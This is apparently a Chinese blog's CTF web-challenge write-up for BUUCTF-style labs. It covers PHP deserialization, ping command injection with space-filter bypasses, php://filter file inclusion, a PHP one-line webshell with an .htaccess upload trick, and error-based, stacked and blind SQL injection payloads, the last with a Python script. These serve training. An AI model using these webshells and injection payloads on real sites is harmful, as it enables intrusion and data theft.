您现在的位置是:主页 > news > 外贸视频网站/百度排行
外贸视频网站/百度排行
admin2025/6/13 21:04:01【news】
简介外贸视频网站,百度排行,全国疫情最新报告图,iapp如何用网站做软件文章目录反序列化pingpingping[极客大挑战]http[极客大挑战 2019]PHP[极客大挑战 2019]Knife[极客大挑战 2019]Secret File[ACTF2020 新生赛]Exec[极客大挑战 2019]Upload[ACTF2020 新生赛]Upload[RoarCTF 2019]Easy Calc[ACTF2020 新生赛]BackupFile[极客大挑战 2019]BuyFlag[…
文章目录
- 反序列化
- pingpingping
- [极客大挑战]http
- [极客大挑战 2019]PHP
- [极客大挑战 2019]Knife
- [极客大挑战 2019]Secret File
- [ACTF2020 新生赛]Exec
- [极客大挑战 2019]Upload
- [ACTF2020 新生赛]Upload
- [RoarCTF 2019]Easy Calc
- [ACTF2020 新生赛]BackupFile
- [极客大挑战 2019]BuyFlag
- [MRCTF2020]Ez_bypass
- [MRCTF2020]你传你🐎呢
- [BJDCTF2020]Easy MD5
- [极客大挑战 2019]HardSQL
- [GYCTF2020]Blacklist
- [CISCN2019 华北赛区 Day2 Web1]Hack World
反序列化
<?php$xkey='xxxxxxx'; #don't tell you.class Neo{public $cmd;public $key; function __construct($cmd,$key){$this->cmd=$cmd;$this->key=$key;}function __wakeup(){ $this->run();}function run(){$this->waf();global $xkey;if ($this->key === $xkey){system($this->cmd);}}function waf(){ $black = array(' ','cat');foreach ($black as $key => $value) {if(stripos($this->cmd,$value)){die("Attack!");}}} }
分析一遍可得,要另key=xkey,并且cmd不能出现空格或cat
不过经过我的测试,也可以cat<ls
<?php
$a='cat<ls';
$black = array(' ','cat');
foreach ($black as $key => $value) {if(stripos($a,$value)){die("Attack!");}
else{die('hello');
}}
?>
因为反序列化自动调用__wakeup,所以只用赋值即可,最后是system包含
payload:
<?php$xkey='xxxxxxx'; #don't tell you.class Neo{public $cmd;public $key; function __construct($cmd,$key){$this->cmd=$cmd;$this->key=$key;}function __wakeup(){ $this->run();}function run(){$this->waf();global $xkey;if ($this->key === $xkey){system($this->cmd);// die("hi");}}function waf(){ $black = array(' ','cat');foreach ($black as $key => $value) {if(stripos($this->cmd,$value)){die("Attack!");}}}
}
$aaa=new Neo('tac<ls','xxxxxxx');
echo urlencode(serialize($aaa));
?>
记录我出现的问题
有构造方法就要传参
$aaa=new Neo('tac<ls','xxxxxxx');
echo urlencode(serialize($aaa));
//这样传参是因为前面有__construct$aaa=new Neo();
$aaa->key='xxxxxxx';
$aaa->cmd='tac<ls';
echo urlencode(serialize($aaa));
//这样传参是因为前面没有__construct
pingpingping
打开后发现要传ip,想到ping
命令,先尝试传入127.1.1.1
但是当我们打开flag.php时,发现
/?ip= fxck your space!
说明空格过滤。但是当我们绕过空格时,发现<,%09,$IFS
都不起作用
- 原因是用 $IFS的话,会认为
解析没结束
,会把后面的也当做参数解析,而 $IFS$9的话,结束了 $IFS 后加上了一个不存在或者说空字符串
的变量。所以解析为空,但结束了 $IFS
正常执行后面的内容
具体参考这篇文章的三种方法 - 变量拼接字符
- sh命令来执行
- 内联执行
总结:
我们做ping命令执行要考虑各种过滤
有没有回显可以翻翻源代码
[极客大挑战]http
Referer
User-Agent
X-Forwarded-For
[极客大挑战 2019]PHP
给了个网站,说里面有备份文件,试试www.zip,下载一个压缩包
里面有源码,那我们来看看题
<?php
include 'flag.php';error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>
我们发现,实际只要username=admin并且password=100就行。那么我们构造payloud试试
<?phpclass Name{private $username;private $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}
$aaa=new Name('admin',100);
echo serialize($aaa);?>
得到序列化
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
这里有个小技巧
绕过__wakeup,改大属性个数
属性是private私有,类名和属性名前面%00截断。
或者进行urlencode编码,就不用考虑私有公有属性,就不用考虑截断
?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
[极客大挑战 2019]Knife
用蚁剑连接,测试,最后在跟目录找到
藏得很深,光看左边目录都找不到
[极客大挑战 2019]Secret File
源代码发现文件,点击抓包。看到secr3t.php
看源码
<html><title>secret</title><meta charset="UTF-8">
<?phphighlight_file(__FILE__);error_reporting(0);$file=$_GET['file'];if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){echo "Oh no!";exit();}include($file);
//flag放在了flag.php里
?>
</html>
进行文件包含
http://0e5fa25b-58a3-4257-bd0b-83de70dcdffc.node4.buuoj.cn:81/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
[ACTF2020 新生赛]Exec
考点 ping命令执行
127.0.0.1;ls
127.0.0.1;ls /
127.0.0.1;cat /flag
[极客大挑战 2019]Upload
过滤了<?
上传这个一句话木马
这里看到要上传图片,那就抓包改回来。记得文件头写进去伪装
添加GIF89a
上传成功,在upload里面进行寻找
成功找到,蚁剑连接。虽然能连接成功,但是图片无法解析,那我们看看其他能上传的文件后缀
提交又出现no image
这里改成image/jpeg
[ACTF2020 新生赛]Upload
跟上一题好像
先传了一个jpg,能传上去但解析不了,然后把jpg改成phtml(抓包后改)。最后用蚁剑连接即可
[RoarCTF 2019]Easy Calc
先查看一下源代码
假如waf不允许num变量传递字母
:
http://www.xxx.com/index.php?num = aaaa //显示非法输入的话
那么我们可以在num前加个空格
:
http://www.xxx.com/index.php? num = aaaa
这样waf就找不到num这个变量了,因为现在的变量叫“ num”,而不是“num”。但php在解析的时候,会先把空格给去掉,这样我们的代码还能正常运行,还上传了非法字符。
用chr(47)代替/
打开calc.php
<?php
error_reporting(0);
if(!isset($_GET['num'])){show_source(__FILE__);
}else{$str = $_GET['num'];$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];foreach ($blacklist as $blackitem) {if (preg_match('/' . $blackitem . '/m', $str)) {die("what are you want to do?");}}eval('echo '.$str.';');
}
?>
payload
/calc.php? num=var_dump(scandir(chr(47)))
/calc.php? num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
用.相连各个字符
[ACTF2020 新生赛]BackupFile
扫描目录,出来index.php.bak
看到源码
<?php
include_once "flag.php";if(isset($_GET['key'])) {$key = $_GET['key'];if(!is_numeric($key)) {exit("Just num!");}$key = intval($key);$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";if($key == $str) {echo $flag;}
}
else {echo "Try to find out source file!";
}
弱比较
payload
http://59e51db6-4c15-4c24-8472-1d482344f514.node4.buuoj.cn:81/index.php/?key=123
intval:用于指定类型的进制转换,一般转为十进制
[极客大挑战 2019]BuyFlag
看题目
<!--~~~post money and password~~~
if (isset($_POST['password'])) {$password = $_POST['password'];if (is_numeric($password)) {echo "password can't be number</br>";}elseif ($password == 404) {echo "Password Right!</br>";}
}
-->
我们传入money=100000000,password传入404a绕过is_numeric
抓个包
这里改1
明显1000000000太长了,改为1e9,得到flag
[MRCTF2020]Ez_bypass
看源码
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {$id=$_GET['id'];$gg=$_GET['gg'];if (md5($id) === md5($gg) && $id !== $gg) {echo 'You got the first step';if(isset($_POST['passwd'])) {$passwd=$_POST['passwd'];if (!is_numeric($passwd)){if($passwd==1234567){echo 'Good Job!';highlight_file('flag.php');die('By Retr_0');}else{echo "can you think twice??";}}else{echo 'You can not get it !';}}else{die('only one way to get the flag');}
}else {echo "You are not a real hacker!";}
}
else{die('Please input first');
}
}Please input first
payload
GET ?id[]=1&gg[]=2
POST passwd=1234567a
[MRCTF2020]你传你🐎呢
考点:更改Apache里的.htaccess的配置。可以将其它类型的文件转化为PHP的文件类型。
开始写一个.htaccess文件,里面的内容为:
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>
抓包修该类型
显示上传成功,再上传图片马
GIF89a
<script language="php">eval($_POST['1']);</script>
用蚁剑连接upload及以后,测试成功
[BJDCTF2020]Easy MD5
没有提示,就先抓个包
在这里看到了提示
可以发现md5函数第二个参数为true的时候是原始16字符二进制格式
ffifdyop
在经过执行md5(ffifdyop,true)
后会返回'or'6
- 原理:
- ffifdyop 这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c,
- 这个字符串前几位刚好是 ’ or '6
- Mysql 刚好又会把 hex 转成 ascii 解释
- 因此拼接之后的形式是 select * from ‘admin’ where password=‘’ or ‘6xxxxx’,等价于 or 一个永真式,因此相当于万能密码,可以绕过md5()函数。
- 再因为数据类型为字符串,所以在sql语句中必然有单引号后双引号包含。这里为单引号包含。
- 所以构成返回为真的sql语句。
select * from 'admin' where password=' 'or '6'
后面就比较简单,一个强比较,一个弱比较
[极客大挑战 2019]HardSQL
看大佬文章
这里使用报错注入并且过滤了and,空格,=,
and用or代替
,
空格用()代替
,
=用like代替
复习报错注入
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
payload
check.php?username=admin'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23&password=1
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23&password=1check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23&password=1
check.php?username=admin'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(geek.H4rDsq1)),0x7e),1))%23&password=1
只出了一半
flag{f5f0ba36-6a89-406b-aa12-4e6-6a89-406b-aa12-4e10c2146c1e}
用left().right()语句拼接
/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23/check.php?username=admin&password=admin%27^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
[GYCTF2020]Blacklist
堆叠注入知识
1';show tables;#1';show columns from `FlagHere` ;#1';select * from table#
都被ban了
发现需要使用到mysql查询语句-handler
通过HANDLER tbl_name OPEN打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST获取句柄的第一行,通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
通过HANDLER tbl_name CLOSE来关闭打开的句柄。
通过索引去查看的话可以按照一定的顺序,获取表中的数据。
通过HANDLER tbl_name READ index_name FIRST,获取句柄第一行(索引最小的一行),NEXT获取下一行,PREV获取前一行,LAST获取最后一行(索引最大的一行)。
随即构造新的payload:
1';handler FlagHere open;handler FlagHere read first;#
[CISCN2019 华北赛区 Day2 Web1]Hack World
掌握新的姿势通过爆破去看sql哪些关键字被ban
发现绝大多数都被过滤了
对脚本的理解
import requests
import timeurl = 'http://3064fbef-d9ed-4644-9f64-5d5fe788f05f.node4.buuoj.cn:81/index.php'
flag = ''# 设flag的最大长度在50内,for遍历到 i 来拼接
for i in range(0, 50):max = 127min = 0# 遍历所有的Asciifor c in range(0, 127):# 二分法查找s = int((max + min) / 2)payload = '(ascii(substr((select(flag)from(flag)),%d,1))<%d)' % (i, s)request = requests.post(url, data={'id': payload})# 加点延时,buu不能太快请求time.sleep(0.5)if 'Hello' in str(request.content): max = selse:min = sif (max - min) <= 1:# 匹配成功,使用chr()来转回ascii字符flag += chr(max-1)print(flag)break
print(flag)# 题目是输入1有正确回显,输入0就会给错误回显
- action属性规定当提交表单时,向何处发送表单数据
空格过滤,用()代替
str
函数是Python的内置函数,它将参数转换成字符串类型,即人适合阅读的形式
。